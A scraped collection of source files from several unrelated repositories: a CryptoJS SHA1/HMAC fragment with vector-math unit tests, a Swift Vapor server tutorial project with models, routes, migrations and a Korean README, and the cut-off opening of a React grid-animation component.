H2 = (H1 << 30) | (H1 >>> 2);
H1 = H0;
H0 = t;
}
H0 += a;
H1 += b;
H2 += c;
H3 += d;
H4 += e;
}
return [H0, H1, H2, H3, H4];
};
// Block size
SHA1.blockSize = 16;
})();
//////////////////////////////// HMAC.js ////////////////////////////////
(function () {
// Shortcuts
var C = namespace.lookup('com.googlecode.crypto-js');
var UTF8 = C.enc.UTF8;
var Words = C.enc.Words;
var WordArray = C.types.WordArray;
C.HMAC = function (hasher, message, key, options) {
// Convert to words, else assume words already
var m = message.constructor == String ? UTF8.decode(message) : message;
var k = key.constructor == String ? UTF8.decode(key) : key;
// Allow arbitrary length keys
if (k.length > hasher.blockSize) {
k = hasher(k, { output: Words });
}
// XOR keys with pad constants
var oKey = k.slice(0);
var iKey = k.slice(0);
for (var i = 0; i < hasher.blockSize; i++) {
oKey[i] ^= 0x5C5C5C5C;
iKey[i] ^= 0x36363636;
}
// Hash
var hmacWords = hasher(WordArray.cat(oKey, hasher(WordArray.cat(iKey, m), { output: Words })), { output: Words });
// Set default output
var output = options && options.output || C.enc.Hex;
// Return encoded output
return output.encode(hmacWords);
};
})();
<file_sep>namespace.lookup('com.pageforest.auth.sign-in.test').defineOnce(function (ns) {
function addTests(ts) {
}
ns.addTests = addTests;
});
<file_sep>namespace.lookup('org.startpad.vector.test').defineOnce(function(ns) {
var util = namespace.util;
var unit = namespace.lookup('org.startpad.unit');
var vector = namespace.lookup('org.startpad.vector');
var V = vector;
ns.addTests = function(ts) {
ts.addTest("Copy", function(ut) {
var a = [1, 2, 3];
var b = vector.copy(a);
ut.assert(vector.equal(a, b));
ut.assert(a !== b);
var c = vector.append(a, b, [7, 8, 9]);
ut.assert(vector.equal(c, [1, 2, 3, 1, 2, 3, 7, 8, 9]));
ut.assert(vector.equal(vector.subFrom([2, 2], [1, 1]), [1, 1]));
ut.assert(!vector.equal([48, 1], [43, 0]));
ut.assert(!vector.equal([1, [2, 3]], [1, [2, 2]]));
ut.assert(vector.equal([1, [2, 3]], [1, [2, 3]]));
});
ts.addTest("Vector functions", function(ut) {
var vOrig = [1, 2, 3];
var v = V.copy(vOrig);
ut.assertEq(v, [1, 2, 3]);
ut.assert(v !== vOrig, "copy must be distinct");
vOrig[0] = 4;
ut.assertEq(v, [1, 2, 3]);
vOrig = [1, [2, 3], 4];
v = V.copy(vOrig);
ut.assert(V.equal(v, [1, [2, 3], 4]));
vOrig[1][0] = 5;
ut.assert(V.equal(v, [1, [5, 3], 4]), "only shallow copy");
var v1 = [2, 5];
var v2 = [1, 2];
v = V.add(v1, v2);
ut.assert(V.equal(v, [3, 7]));
ut.assertEq(v1, [2, 5], "unmodified args");
ut.assertEq(v2, [1, 2], "unmodified args");
v = V.add(v1, v1, v1, v1);
ut.assertEq(v, [8, 20]);
v = V.sub(v1, v2);
ut.assertEq(v, [1, 3]);
// Vector multiply
v = V.mult(v1, v2);
ut.assertEq(v, [2, 10]);
// Scalar multiply
v = V.mult(v1, 2);
ut.assertEq(v, [4, 10]);
v = V.mult(2, v1);
ut.assertEq(v, [4, 10]);
v = V.mult(1, 2, 3);
ut.assertEq(v, 6);
// Mixed multiply
v = V.mult(v1, 2, v2);
ut.assertEq(v, [4, 20]);
// Unequal arrays throws
ut.assertThrows("Mismatched Vector Size", function(ut) {
v = V.mult([1, 2, 3], [1, 2]);
});
ut.assertEq(V.floor([1, 1.2, -0.5]), [1, 1, -1]);
ut.assertEq(V.dotProduct(v1, v2), 12);
v = V.addTo(v1, v2);
ut.assertIdent(v, v1);
ut.assertEq(v1, [3, 7]);
v = V.subFrom(v1, v2);
ut.assertIdent(v, v1);
ut.assertEq(v1, [2, 5]);
ut.assertEq(V.max([0, 5], [-1, 10]), [0, 10]);
}).breakOn(-1);
ts.addTest("distance functions", function(ut) {
var tests = [
[[0, 0], [1, 0], 1],
[[0, 0], [1, 1], 2],
[[0, 0, 0], [1, 1, 1], 3]
];
for (var i = 0; i < tests.length; i++) {
var test = tests[i];
ut.assertEq(V.distance2(test[0], test[1]), test[2]);
}
ut.assertEq(V.magnitude2([1, 2, 3]), 14);
ut.assertEq(V.area([-1, -1, 1, 1]), 4);
var u = V.unitVector([3, 4]);
V.subFrom(u, [3 / 5, 4 / 5]);
ut.assertLT(Math.abs(u[0]), 0.00001);
ut.assertLT(Math.abs(u[1]), 0.00001);
});
ts.addTest("Point and Rect Functions", function(ut) {
var rc = [10, 10, 100, 100];
ut.assertEq(V.ul(rc), [10, 10]);
ut.assertEq(V.lr(rc), [100, 100]);
ut.assertEq(V.size(rc), [90, 90]);
ut.assertEq(V.ptCenter(rc), [55, 55]);
ut.assertEq(V.ptCenter(rc, 0), [10, 10]);
ut.assertEq(V.ptCenter(rc, 1), [100, 100]);
ut.assertEq(V.ptCenter(rc, 0.2), [28, 28]);
ut.assertEq(rc, [10, 10, 100, 100]);
ut.assertEq(V.ptCenter(rc, [0.5, 0.2]), [55, 28]);
ut.assertEq(V.boundingBox([0, 1], [1, 0]), [0, 0, 1, 1]);
ut.assertEq(V.boundingBox([0, 0, 1, 1],
[2, 2, 4, 4]),
[0, 0, 4, 4]);
});
ts.addTest("ptRegistration", function(ut) {
var rc = [10, 20, 300, 400];
var tests = [
['ul', [10, 20]],
['top', [155, 20]],
['ur', [300, 20]],
['left', [10, 210]],
['center', [155, 210]],
['right', [300, 210]],
['ll', [10, 400]],
['bottom', [155, 400]],
['lr', [300, 400]]
];
for (var i = 0; i < tests.length; i++) {
var test = tests[i];
ut.trace(test[1]);
ut.assertEq(vector.ptRegistration(rc, i), test[1]);
ut.assertEq(vector.ptRegistration(rc, test[0]), test[1]);
}
});
ts.addTest("alignRect", function(ut) {
// A 2x2 rectangle
var rc = [11, 12, 13, 14];
var ptTo = [1, 1];
var tests = [
['ul', [1, 1, 3, 3]],
['top', [0, 1, 2, 3]],
['ur', [-1, 1, 1, 3]],
['left', [1, 0, 3, 2]],
['center', [0, 0, 2, 2]],
['right', [-1, 0, 1, 2]],
['ll', [1, -1, 3, 1]],
['bottom', [0, -1, 2, 1]],
['lr', [-1, -1, 1, 1]]
];
for (var i = 0; i < tests.length; i++) {
var test = tests[i];
ut.trace(test[0]);
var rcT = vector.alignRect(rc, test[0], ptTo);
ut.assertEq(rcT, test[1]);
ut.assertEq(vector.ptRegistration(rcT, test[0]), [1, 1]);
}
});
ts.addTest("ptInRect", function(ut) {
var i;
var test;
var rc = [10, 10, 30, 30];
var rangeTests = [
[[0, 0, 10], true],
[[-10, 0, 10], false],
[[5, 0, 10], true],
[[10, 0, 10], true],
[[15, 0, 10], false]
];
for (i = 0; i < rangeTests.length; i++) {
test = rangeTests[i];
ut.trace(test[0]);
ut.assertEq(vector.numInRange(test[0][0],
test[0][1],
test[0][2]),
test[1]);
}
var pointTests = [
[[10, 10], true],
[[20, 20], true],
[[30, 30], true],
[[0, 0], false],
[[0, 50], false]
];
for (i = 0; i < pointTests.length; i++) {
test = pointTests[i];
ut.trace(test[0]);
ut.assertEq(vector.ptInRect(test[0], rc), test[1]);
}
});
ts.addTest("clipToRect", function(ut) {
var i;
var test;
var rc = [10, 10, 30, 30];
var rangeTests = [
[[0, 0, 10], 0],
[[-10, 0, 10], 0],
[[5, 0, 10], 5],
[[10, 0, 10], 10],
[[15, 0, 10], 10]
];
for (i = 0; i < rangeTests.length; i++) {
test = rangeTests[i];
ut.trace(test[0]);
ut.assertEq(vector.clipToRange(test[0][0],
test[0][1],
test[0][2]),
test[1]);
}
var pointTests = [
[[10, 10], [10, 10]],
[[20, 20], [20, 20]],
[[30, 30], [30, 30]],
[[0, 0], [10, 10]],
[[0, 50], [10, 30]]
];
for (i = 0; i < pointTests.length; i++) {
test = pointTests[i];
ut.trace(test[0]);
ut.assertEq(vector.ptClipToRect(test[0], rc), test[1]);
}
var rcTests = [
[[10, 10, 30, 30], [10, 10, 30, 30]],
[[0, 0, 10, 10], [10, 10, 10, 10]],
[[0, 0, 20, 20], [10, 10, 20, 20]],
[[15, 15, 25, 25], [15, 15, 25, 25]],
[[15, 0, 25, 50], [15, 10, 25, 30]],
[[0, 15, 50, 25], [10, 15, 30, 25]]
];
for (i = 0; i < rcTests.length; i++) {
test = rcTests[i];
ut.trace(test[0]);
ut.assertEq(vector.rcClipToRect(test[0], rc), test[1]);
}
});
ts.addTest("rcExpand", function(ut) {
var i;
var test;
var rc = [10, 10, 30, 30];
var tests = [
[[0, 0], [10, 10, 30, 30]],
[[1, 1], [9, 9, 31, 31]],
[[10, 10], [0, 0, 40, 40]],
[[10, 0], [0, 10, 40, 30]],
[[20, 20], [-10, -10, 50, 50]],
[[-5, -3], [15, 13, 25, 27]],
[[-10, -10], [20, 20, 20, 20]],
[[-100, -100], [20, 20, 20, 20]]
];
for (i = 0; i < tests.length; i++) {
test = tests[i];
ut.trace(test[0]);
ut.assertEq(vector.rcExpand(rc, test[0]), test[1]);
}
});
ts.addTest("keepInRect", function(ut) {
var i;
var test;
var rcOuter = [10, 10, 30, 30];
var tests = [
[[10, 10, 30, 30], [10, 10, 30, 30]],
[[5, 5, 15, 15], [10, 10, 20, 20]],
[[20, 20, 40, 40], [10, 10, 30, 30]],
[[0, 0, 100, 100], [10, 10, 30, 30]],
[[0, 0, 5, 5], [10, 10, 15, 15]]
];
for (i = 0; i < tests.length; i++) {
test = tests[i];
ut.trace(test[0]);
var rc = util.copyArray(test[0]);
vector.keepInRect(rc, rcOuter);
ut.assertEq(rc, test[1]);
}
});
ts.addTest("iRegClosest", function(ut) {
var i;
var test;
var rc = [10, 10, 30, 30];
var tests = [
[[10, 10], 0],
[[0, 0], 0],
[[20, 20], 4],
[[20, 4], 1],
[[20, 26], 7],
[[1000, 20], 5]
];
for (i = 0; i < tests.length; i++) {
test = tests[i];
ut.trace(test[0]);
ut.assertEq(vector.iRegClosest(test[0], rc), test[1]);
}
});
ts.addTest("rcDeltaReg", function(ut) {
var i;
var test;
var rc = [15, 15, 25, 25];
var rcBounds = [10, 10, 30, 30];
var ptSizeMin = [5, 5];
var tests = [
[[rc, [0, 0], 4, ptSizeMin, rcBounds], rc],
[[rc, [-5, -5], 4, ptSizeMin, rcBounds], [10, 10, 20, 20]],
[[rc, [-10, -10], 4, ptSizeMin, rcBounds], [10, 10, 20, 20]],
[[rc, [-5, -5], 0, ptSizeMin, rcBounds], [10, 10, 25, 25]],
[[rc, [-10, -10], 0, ptSizeMin, rcBounds], [10, 10, 30, 30]]
];
for (i = 0; i < tests.length; i++) {
test = tests[i];
ut.trace(test[0]);
ut.assertEq(vector.rcDeltaReg.apply(undefined, test[0]),
test[1]);
}
});
}; // addTests
});
| 02351ab36e122e60493a34b880b943b3ac3d643d | [
"JavaScript",
"HTML"
] | 24 | JavaScript | ishikawam/html5slides | 1dc54a505d0ce798a8429f77285fc88779faad74 | 73a705b8195ed40906051d5700e95f76b052541c |
refs/heads/main | <file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/28.
//
import Foundation
import Vapor
struct Product: Codable {
var id: Int
private var name: String
private var price: Double
private var description: String
init(id: Int, name: String, price: Double, description: String) {
self.id = id
self.name = name
self.price = price
self.description = description
}
func asJSONString() -> String {
let codedProduct = try! JSONEncoder().encode(self)
return String(data: codedProduct, encoding: .utf8)!
}
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/08/26.
//
import Fluent
struct TaskMigration: Migration {
//DB를 변화시키는 동작 수행
func prepare(on database: Database) -> EventLoopFuture<Void> {
_ = database.enum("status")
.case("toDo")
.case("doing")
.case("done")
.create()
return database.enum("status").read().flatMap { status in
database.schema(Task.schema)
.id()
.field("title", .string, .required)
.field("status", status, .required)
.field("comment", .string)
.field("created_date", .datetime, .required)
.create()
}
}
//변화를 되돌리는 동작
func revert(on database: Database) -> EventLoopFuture<Void> {
return database.schema(Task.schema).delete()
}
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/05.
//
import Foundation
import Vapor
import Fluent
import FluentMySQLDriver
final class Galaxy: Model, Content {
static let schema = "galaxies"
@ID(key: .id)
var id: UUID?
@Field(key: "name")
var name: String
// @Timestamp(key: "created_at", on: .create)
// var createdAr: Data?
// @Timestamp(key: "updated_at", on: .update)
// var updatedAt: Date?
init() { }
init(id: UUID? = nil, name: String) {
self.id = id
self.name = name
}
}
struct CreateGalaxy: Migration {
func prepare(on database: Database) -> EventLoopFuture<Void> {
database.schema("galaxies")
.id()
.field("name", .string)
.create()
}
func revert(on database: Database) -> EventLoopFuture<Void> {
database.schema("galaxies").delete()
}
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/28.
//
import Foundation
import Vapor
class ProductService {
var products: [Product] = []
init() {
let toucan = Product(id: 1, name: "hi", price: 50.00, description: "Famous bird of the zoo")
let elephant = Product(id: 2, name: "Elephant", price: 85.00, description: "Large creature from Africa")
let giraffe = Product(id: 3, name: "Giraffe", price: 65.00, description: "Long necked creature")
products.append(toucan)
products.append(elephant)
products.append(giraffe)
}
func getProductById(id: Int) -> Product? {
return products.first(where: { $0.id == id })
}
func getProducts() -> [Product] {
return products
}
}
extension Application {
var productService: ProductService {
.init()
}
}
//JSON 문자열 Encoding
extension Array {
typealias CodableArray = [Product]
func codableArrayJSONString() -> String {
if let array = self as? CodableArray{
let codedArray = try! JSONEncoder().encode(array)
return String(data: codedArray, encoding: .utf8)!
}
return ""
}
}
<file_sep>import Vapor
func routes(_ app: Application) throws {
app.get("galaxies") { (req) in
Galaxy.query(on: req.db).all()
}
app.get { req in
return "It works!"
}
app.get("hi") { req -> String in
req.logger.info("Hello logs!")
return "Hello, world!"
}
app.get("name") { (req) in
return "<NAME>"
}
// hello/\(name)
app.get("hello", ":name") { req -> String in
let name = req.parameters.get("name")!
return "Hello \(name)!"
}
// foo/bar/baz
app.get("foo", "bar", "baz") {req in
return "bar"
}
//int형
app.get("number", ":x") {req -> String in
guard let int = req.parameters.get("x", as: Int.self) else {throw Abort(.badRequest)}
return "\(int) is a great number"
}
//hello/foo/bar = foo bar
app.get("hello", "**") { (req) -> String in
let name = req.parameters.getCatchall().joined(separator: " ")
print(app.routes.all)
return "Hello \(name)"
}
//경로 그룹
let users = app.grouped("users")
users.get { req in
return "group users"
}
users.get(":id") { req -> String in
let id = req.parameters.get("id")!
return "group users \(id)"
}
app.post("greeting") { (req) -> HTTPResponseStatus in
let greeting = try req.content.decode(Greeting.self)
print(greeting.hello)
return HTTPStatus.ok
}
//hello?name=\(name) 쿼리문
app.get("hello") { (req) -> String in
let hello = try req.query.decode(Hello.self)
return "Hello. \(hello.name ?? "Anonymous")"
//let name: String? = req.query["name"] 단일값
}
app.post("users") { (req) -> CreateUser in
try CreateUser.validate(content: req)
try CreateUser.validate(query: req)
let user = try req.content.decode(CreateUser.self)
return user
}
app.get(Constants.Endpoints.products.path) { (req) -> Response in
let products = app.productService.getProducts()
return .init(status: .ok,
version: req.version,
headers: [
"Content-Type":
"application/json"
],
body:
.init(string:
products.codableArrayJSONString()
))
}
app.get(Constants.Endpoints.products.path,
":\(Constants.Endpoints.singleProduce.path)") { req -> Response in
let productId = req.parameters.get(
Constants.Endpoints.singleProduce.rawValue,
as: Int.self
) ?? 0
if let product = app.productService.getProductById(id: productId) {
return .init(status: .ok,
version: req.version,
headers: [
"Content-Type":
"application/json"],
body:
.init(
string: product.asJSONString()
))
}
return .init(status: .ok,
version: req.version,
headers: [
"Content-Type":
"application/json"
],
body: .init(string: "No product found."))
}
}
<file_sep># What-is-Vapor
Server-side Swift with Vapor
### Vapor 폴더 구조 정리
- Package.swift
SPM이 프로젝트에서 가장 먼저 찾는 파일로 패키지의 의존성과 타깃 등을 정의한다. 이 파일은 항상 프로젝트의 루트 디렉토리에 위치한다.
- Sources
프로젝트의 모든 Swift 소스 파일을 포함한다.
- App
앱을 구성하는데 필요한 코드를 포함한다. 실제 백엔드 애플리케이션 코드를 넣는 곳!
- Controllers
로직을 그룹화하는 컨트롤러가 위치한다.
- Migrations
데이터베이스 마이그레이션을 정의하는 타입이 위치한다.
Vapor 4에서는 한 데이터베이스 체계에서 다른 데이터베이스 체계로 마이그레이션하는 방법을 사용자 지정할 수있는 훨씬 더 많은 기능이 있다.
- Models
데이터베이스의 데이터 구조를 나타내는 모델이 위치한다.
Vapor에는 Fluent라는 깔끔한 데이터베이스 추상화 도구 (ORM 프레임 워크)가 있다. 모델은 일반적으로이 Fluent 라이브러리와 관련된 데이터베이스 항목을 나타낸다.
- configure.swift
앱을 구성하는 <code>configure(_:)</code> 함수를 포함한다. <code>main.swift</code> 에 의해 호출되며 이 함수에 라우트, 데이터베이스 등의 서비스를 등록해야한다.
- route.swift
앱에 라우트를 등록하는 <code>route(_:)</code> 함수를 포함하며, <code>configure(-:)</code> 함수에 의해 호출된다.
- Run
앱을 실행하는데 필요한 코드만 포함된다. 앱 라이브러리를 로드하고 적절한 구성 및 환경 변수를 사용하여 Vapor 백엔드 서버를 시작할 수 있다. <code>main.swift</code> 실행할 수 있는 단일 파일만 포함되어있다.
- main.swift
앱의 인스턴스를 생성하고 실행한다.
- Tests
<code>XCTVapor</code> 모듈을 사용하는 단위 테스트를 포함한다.
### SwiftNIO? 🤔
Apple에서 만든 SwiftNIO 프레임워크를 기반으로 설계되었다. SwiftNIO는 비동기 네트워킹 프레임워크로 Vapor의 모든 HTTP 통신을 처리한다. Vapor가 요청을 받고 응답을 보낼 수 있게 하며, 연결 및 데이터 전송을 관리한다.
Vapor의 일부 API는 <code>EventLoopFuture</code> 제네릭 타입을 반환한다. <code>EventLoopFuture</code> 는 나중에 제공될 결과에 대한 플레이스홀더이다. 비동기적으로 동작하는 함수는 실제 데이터를 즉시 반환하지 않고 <code>EventLoopFuture</code> 를 반환한다.
### Fluent?
Swift용 ORM 프레임워크이다. Vapor 앱과 데이터베이스 사이의 추상화 계층으로 데이터베이스를 쉽게 사용할 수 있도록 인터페이스를 제공한다. 따라서 SQL을 작성하지 않고도 Swift로 데이터베이스 작업을 수행할 수 있다.
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/16.
//
import Foundation
import Vapor
struct Greeting: Content {
var hello: String
}
struct Profile: Content {
var name: String
var email: String
var image: Data //파일 업로드의 경우
}
struct Hello: Content {
var name: String?
}
enum Color: String, Codable {
case red, blue, green
}
struct CreateUser: Content {
var name: String
var username: String
var age: Int
var email: String
var favoriteColor: Color?
}
extension CreateUser: Validatable {
static func validations(_ validations: inout Validations) {
validations.add("email", as: String.self, is: .email)
//이메일 검증
validations.add("age", as: Int.self, is: .range(13...))
//13살 이상
validations.add("name", as: String.self, is: !.empty)
//비어있지 않아야함
validations.add("username", as: String.self, is: .count(3...) && .alphanumeric)
//3글자 이상, 영숫자만 포함
validations.add("favoriteColor", as: String.self, is: .in("red", "blue", "green"), required: false)
//필수가 아님
}
}
<file_sep>import Vapor
import Fluent
import FluentMySQLDriver
public func configure(_ app: Application) throws {
// uncomment to serve files from /Public folder
// app.middleware.use(FileMiddleware(publicDirectory: app.directory.publicDirectory))
// 내 모델이랑
// 디비 이름이
app.databases.use(.mysql(
hostname: "127.0.0.1",
port: 3306,
username: "root",
password: "<PASSWORD>",
database: "galaxies",
tlsConfiguration: .forClient(certificateVerification: .none)),
as: .mysql)
// app.migrations.add(User.self, to: .mysql)
// app.migrations.add(Article.self, to: DatabaseID.mysql)
//기본 인코드 및 디코더 구성
let encoder = JSONEncoder()
ContentConfiguration.global.use(encoder: encoder, for: .json)
app.routes.defaultMaxBodySize = "500kb"
app.routes.caseInsensitive = true // 대소문자를 구분하지 않는 라우팅
app.migrations.add(CreateGalaxy())
try routes(app)
}
<file_sep>import Fluent
import FluentPostgresDriver
import Vapor
// configures your application
public func configure(_ app: Application) throws {
// uncomment to serve files from /Public folder
// app.middleware.use(FileMiddleware(publicDirectory: app.directory.publicDirectory))
app.migrations.add(TaskMigration())
app.databases.use(.postgres(
hostname: Environment.get("localhost") ?? "localhost",
port: Environment.get("5432").flatMap(Int.init(_:)) ?? PostgresConfiguration.ianaPortNumber,
username: Environment.get("igayeong") ?? "igayeong",
password: Environment.get("") ?? "<PASSWORD>",
database: Environment.get("my_database") ?? "my_database"
), as: .psql)
// register routes
try routes(app)
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/08/26.
//
import Fluent
import Vapor
//라우트를 그룹화할 수 있도록 RoutCollection 프로토콜을 제공한다
struct TaskController: RouteCollection {
func boot(routes: RoutesBuilder) throws {
let tasks = routes.grouped("tasks")
tasks.get(use: showAll)
tasks.post(use: create)
tasks.patch(use: update)
tasks.group(":id") { tasks in
tasks.delete(use: delete)
}
}
func showAll(req: Request) throws -> EventLoopFuture<[Task]> {
return Task.query(on: req.db).all()
}
func create(req: Request) throws -> EventLoopFuture<Task> {
try Task.validate(content: req)
let task = try req.content.decode(Task.self)
return task.create(on: req.db).map { task }
}
func delete(req: Request) throws -> EventLoopFuture<HTTPStatus> {
return Task.find(req.parameters.get("id"), on: req.db)
.unwrap(or: Abort(.notFound)) // Abort라는 기본 오류 타입
.flatMap { $0.delete(on: req.db) }
.transform(to: .ok)
}
func update(req: Request) throws -> EventLoopFuture<Task> {
let exist = try req.content.decode(PatchTask.self)
return Task.find(exist.id, on: req.db)
.unwrap(or: Abort(.notFound))
.flatMap { item in
print(item.title)
item.title = exist.title
item.status = exist.status
if let comment = exist.comment { item.comment = comment }
return item.update(on: req.db).map { return item }
}
}
}
extension Task: Content { }
extension Task: Validatable { //Codable은 첫번째 오류가 발생하는 즉시 디코딩을 중지하지만 Validateble API는 요청에서 실패한 모든 유효성 검사를 보고하므로 더 빠르게 원인을 찾을 수 있다
static func validations(_ validations: inout Validations) {
validations.add("title", as: String.self, is: !.empty)
validations.add("status", as: String.self, is: .in("toDo", "doing", "done"))
validations.add("comment", as: String?.self, required: false)
}
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/08/26.
//
import Fluent
import Vapor
final class Task: Model {
static let schema = "tasks" //DB 테이블 이름
@ID(key: .id) //모델은 id 프로퍼티를 갖고 고유 식별자 타입이다
var id: UUID?
@Field(key: "title") //데이터를 저장하기 위한 Field 프로퍼티
var title: String
@Enum(key: "status") //Field의 한 종류
var status: Status
@OptionalField(key: "comment") //옵셔널 타입 사용
var comment: String?
@Timestamp(key: "created_date", on: .create)
var createdDate: Date?
init() { } //모델은 반드시 빈 이니셜라이저를 가져야한다
init(id: UUID? = nil,
title: String,
status: Status,
comment: String? = nil,
createdDate: Date? = nil) {
self.id = id
self.title = title
self.status = status
self.comment = comment
self.createdDate = createdDate
}
}
enum Status: String, Codable {
case toDo, doing, done
}
final class PatchTask: Codable {
var id: UUID?
var title: String
var status: Status
var comment: String?
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/28.
//
import Foundation
import Vapor
public enum Constants {
public enum Endpoints: String {
case products = "products"
case singleProduce = "productId"
var path: PathComponent {
return PathComponent(stringLiteral: self.rawValue)
}
}
}
<file_sep>//
// File.swift
//
//
// Created by 이가영 on 2021/02/05.
//
import Foundation
import Vapor
enum ResponseStatus: Int, Content {
case ok = 200
case error = 400
case unknown = 500
var desc: String {
switch self{
case .ok:
return "요청이 성공했습니다"
case .error:
return "요청이 실패했습니다"
case .unknown:
return "에러의 원인을 모릅니다"
}
}
}
struct ResponseJSON<T: Content>: Content {
private var status: ResponseStatus
private var message: String
private var data: T?
init(data: T) {
self.status = .ok
self.message = status.desc
self.data = data
}
init(status: ResponseStatus = .ok, message: String = ResponseStatus.ok.desc) {
self.status = status
self.message = message
self.data = nil
}
init(status: ResponseStatus = .ok, message: String = ResponseStatus.ok.desc, data: T?) {
self.status = status
self.message = message
self.data = data
}
}
struct Empty: Content { }
| 5926221bd0e5920a17f102a8770d3f042d1d9588 | [
"Swift",
"Markdown"
] | 13 | Swift | Ga-yo/What-is-Vapor | 1d565560c1a4fd9b6fa7a569aa5d199434bf73ea | e5eb34bcb906c914644a4b2c594083e4ce648939 |
refs/heads/master | <repo_name>davedub/vuebelle<file_sep>/README.md
# Vuebelle
First time Vue.JS project based on a Seattle Web Developers Meetup presentation given by [<NAME>](https://github.com/cassidoo) in April 2018, entitled "The Vue is good from here!" Pretty much the same as [Cassidy's live coded project](https://github.com/cassidoo/github-user-search) but with [Bootstrap 4](https://github.com/twbs/bootstrap) and [Webpack 4](https://github.com/webpack/webpack).
## Build and setup
``` bash
# install dependencies
npm install
# serve with hot reload at localhost:8080
npm run dev
# build for production with minification
npm run build
# build for production and view the bundle analyzer report
npm run build --report
```
For a detailed explanation on how things work, check out the [guide](http://vuejs-templates.github.io/webpack/) and [docs for vue-loader](http://vuejs.github.io/vue-loader).
## Notes from the meetup
### Why Vue?
React has virtual DOM and JSX ... Angular has templates and directives ... If you want to take features from both platforms and put them together, you might enjoy Vue.JS. It's small, fast and easy to set up. It comes with explicit errors (documentation is optional) and the three primary components of your web app - HTML, CSS and Javascript - are all neatly separated. You won't need to style CSS or write markup inside a Javascript file.
A lot of web developers are starting to use Vue.js for prototyping projects because it is usually much easier than trying to do the same thing in React. But Vue.js is powerful enough that it can be used in production sites.
### Structure
At root, ```main.js``` sets up the app. ```App.vue``` contains three separate chunks: the template (HTML markup); the script (Javascript); and the style (CSS).
***Methods*** can be added inside a component's vue file that relate only to that component. Global methods can be added as mixins in the ```main.js``` file (although not done here), like so --
```
Vue.mixin({
methods: {
capitalizeFirstLetter: str => str.charAt(0).toUpperCase() + str.slice(1)
}
})
new Vue({
el: '#app'
})
```
See [this example](https://codepen.io/CodinCat/pen/LWRVGQ?editors=1010).
***Styles*** can be scoped to a particular component or made global. Use ```<style scoped>``` tag inside a component to limit its styles to just that component.
<file_sep>/webpack.dev.config.js
const webpack = require('webpack');
const path = require("path");
const HtmlWebpackPlugin = require('html-webpack-plugin');
const ExtractTextPlugin = require("extract-text-webpack-plugin");
const isProd = process.env.NODE_ENV === 'production' // true or false
const bootstrapEntryPoints = require('./webpack.bootstrap.config.js');
const extractProd = new ExtractTextPlugin('css/[name].css');
const cssDev = ['style-loader', 'css-loader', 'sass-loader'];
const cssProd = extractProd.extract({
fallback: 'style-loader',
use: [ 'css-loader?modules&importLoaders=2&localIdentName=[name]__[local]__[hash:base64:5]' , 'sass-loader' ],
publicPath: '/dist'
});
// these options are for extracting scss in build but not needed in webpack-dev-server
const bootstrapConfig = isProd ? bootstrapEntryPoints.prod : bootstrapEntryPoints.dev;
module.exports = {
mode: 'none',
entry: {
app: './src/js/index.js',
bootstrap: bootstrapConfig
},
output: {
path: path.resolve(__dirname, 'build'),
filename: '[name].bundle.js'
},
module: {
rules: [
{
test: /bootstrap\/build\/js\/umd\//,
use: 'imports-loader?jQuery=jquery'
},
{
test: /\.scss$/,
use: isProd ? cssProd : cssDev
},
{
test: /\.js$/,
exclude: path.resolve(__dirname, 'node_modules'),
use: 'babel-loader'
},
{
test: /\.(pdf|jpg|png|gif|svg|ico)$/,
use: [
{
loader: 'file-loader',
options: {
name: '[path][name]-[hash:8].[ext]'
},
},
]
},
{
test: /\.vue$/,
loader: "vue-loader",
options: {
loaders: {
scss: "vue-style-loader!css-loader!sass-loader?data=@import './src/scss/variables.scss';",
preserveWhitespace: false
}
}
}
]
},
devServer: {
contentBase: path.join(__dirname, "dist"),
compress: false,
hot: true,
stats: "errors-only",
open: true
},
plugins: [
new HtmlWebpackPlugin({
title: 'Vuebelle',
hash: true, // creates a hash for every generated file
template: './src/index.html', // Load a custom template (lodash by default see the FAQ for details)
}),
new webpack.ProvidePlugin({
$: "jquery",
jQuery: "jquery",
"window.jQuery": "jquery",
Tether: "tether",
"window.Tether": "tether",
Popper: ['popper.js', 'default'],
Alert: "exports-loader?Alert!bootstrap/js/dist/alert",
Button: "exports-loader?Button!bootstrap/js/dist/button",
Carousel: "exports-loader?Carousel!bootstrap/js/dist/carousel",
Collapse: "exports-loader?Collapse!bootstrap/js/dist/collapse",
Dropdown: "exports-loader?Dropdown!bootstrap/js/dist/dropdown",
Modal: "exports-loader?Modal!bootstrap/js/dist/modal",
Popover: "exports-loader?Popover!bootstrap/js/dist/popover",
Scrollspy: "exports-loader?Scrollspy!bootstrap/js/dist/scrollspy",
Tab: "exports-loader?Tab!bootstrap/js/dist/tab",
Tooltip: "exports-loader?Tooltip!bootstrap/js/dist/tooltip",
Util: "exports-loader?Util!bootstrap/js/dist/util",
}),
extractProd,
new webpack.NamedModulesPlugin(),
// prints more readable module names in the browser console on HMR update
new webpack.HotModuleReplacementPlugin()
// enable HMR globally
]
} | b14908d11b7036fb7c106a9595fd788b308e6275 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | davedub/vuebelle | 071ec7eb01a06abfed7edc87247f92dfe72160f9 | 1b6c6e29a04bf2ef129fad6057c03a06cfa62a26 |
refs/heads/main | <repo_name>Jon-Alc/pastel-cells<file_sep>/src/Main.js
import React from 'react';
import Grid from './Components/Grid';
import './index.css';
class Main extends React.Component {
constructor() {
super();
this.speed = 100;
this.rows = 30;
this.cols = 30;
this.activeRenders = "5"; // how many calls the cell will be active for
this.reduceBy = 25; // how much to reduce the color value by per render
this.pickFrame = 10;
this.state = {
curFrame: 0,
grid: Array(this.rows).fill().map(() => Array(this.cols).fill("0,0,0,0")),
}
}
// ==============
// SQUARE METHODS
// ==============
clickSquare = (row, col) => {
let gridCopy = JSON.parse(JSON.stringify(this.state.grid));
if (gridCopy[row][col] === "0,0,0,0") {
gridCopy[row][col] = this.makeActive();
this.setState({
grid: gridCopy,
});
}
}
selectColor = () => {
return 100 + Math.floor(Math.random() * 7) * 25;
}
getColor = (colorStr) => {
var temp = colorStr.split(",");
for (let i = 0; i < temp.length; i++) {
temp[i] = parseInt(temp[i], 10);
}
return temp;
}
makeActive = () => {
return (this.activeRenders + "," +
